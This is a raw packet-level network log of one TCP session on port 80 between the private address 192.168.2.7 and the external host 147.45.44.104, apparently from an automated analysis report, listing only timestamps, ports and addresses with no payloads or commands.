Aug 28, 2024 22:55:15.167951107 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.167956114 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.167968035 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.167968988 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.167992115 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.168013096 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.168756008 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.168770075 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.168782949 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.168793917 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.168811083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.168828964 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.253164053 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.253349066 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259207964 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259227991 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259272099 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259280920 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259321928 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259354115 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259365082 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259376049 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259399891 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259412050 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259432077 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259536028 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259546995 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259557962 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259576082 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259586096 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259613991 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.259691954 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.259736061 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260057926 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260068893 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260113955 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260227919 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260274887 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260308981 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260319948 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260330915 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260359049 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260384083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260400057 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260411978 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260421991 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260451078 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260458946 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260469913 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260476112 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260485888 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260499954 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.260503054 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260525942 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.260549068 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261010885 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261022091 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261032104 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261044025 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261054993 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261064053 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261069059 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261086941 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261092901 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261097908 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261110067 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261111021 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261121988 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261138916 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261142969 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261151075 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261163950 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261172056 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261197090 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261209011 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261811018 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261861086 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.261955976 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261966944 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261977911 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.261989117 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262001038 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262006044 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262012005 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262025118 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262034893 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262039900 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262046099 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262057066 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262058020 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262069941 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262079000 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262080908 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262110949 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262135983 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262681961 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262695074 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262705088 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262736082 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262761116 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262778997 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262792110 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262804985 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262819052 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262828112 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262850046 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262872934 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262876987 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262888908 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262898922 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262917995 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262926102 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262929916 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262943029 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.262948990 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.262975931 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263000965 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263638020 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263650894 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263662100 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263691902 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263712883 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263719082 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263725996 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263736963 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263750076 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263760090 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263773918 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263803959 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263832092 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263844013 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263854980 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263866901 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263879061 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263879061 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263899088 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.263902903 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263921976 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.263942957 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.264565945 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.264612913 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.264619112 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.264633894 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.264659882 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.264674902 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.264724970 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.264734983 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.264770985 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.347521067 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.347641945 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354365110 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354407072 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354418039 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354449987 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354479074 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354481936 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354490995 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354506016 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354518890 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354518890 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354547977 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354552031 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354562998 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354574919 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354576111 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354588985 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354600906 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354602098 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354629993 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354640961 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354669094 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354686022 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354697943 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354701996 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354711056 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354722023 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354731083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354731083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354743958 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354751110 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354754925 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354764938 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354770899 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354778051 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354789019 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354793072 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354806900 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354825974 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354846001 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.354970932 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354980946 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.354993105 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355005026 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355011940 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355015039 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355026007 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355030060 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355036974 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355047941 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355056047 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355061054 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355072021 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355077982 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355091095 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355101109 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355112076 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355117083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355139017 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355143070 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355149984 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355161905 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355166912 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355175018 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355190992 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355191946 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355201960 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355212927 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355226040 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355226994 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355243921 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355253935 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355256081 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355268002 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355281115 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355293036 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355321884 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355405092 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355441093 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355442047 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355453968 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355484009 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355494022 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355545044 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355556965 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355575085 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355583906 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355586052 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355597019 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355602026 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355611086 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355618000 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355631113 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355632067 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355643034 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355647087 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355654955 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355662107 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355665922 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355679035 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355679989 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355698109 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355705976 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355710030 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.355711937 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.355743885 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.360137939 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360161066 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360172033 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360183001 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360194921 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360291958 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360301971 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360312939 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360325098 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360337019 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360348940 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360368013 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360378981 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360392094 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360403061 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360414028 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360425949 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360440016 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360450029 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360649109 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.360857964 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360899925 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.360903978 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.360939980 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.523185015 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.528024912 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711260080 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711282969 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711293936 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711352110 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711364031 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711369038 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711375952 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711427927 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711437941 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711448908 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711461067 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711517096 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711528063 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711539030 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711539984 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711539030 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711539030 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711539030 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711539984 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711539984 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711553097 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711556911 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711565971 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711585045 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711749077 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711759090 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711765051 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711771965 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711818933 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711893082 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711904049 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711921930 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711932898 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711935997 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711945057 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711956978 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.711960077 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711977959 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.711997032 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712102890 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712141991 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712142944 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712156057 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712187052 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712193966 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712196112 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712207079 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712217093 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712234974 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712235928 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712248087 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712259054 CEST	49710	80	192.168.2.7	147.45.44.104
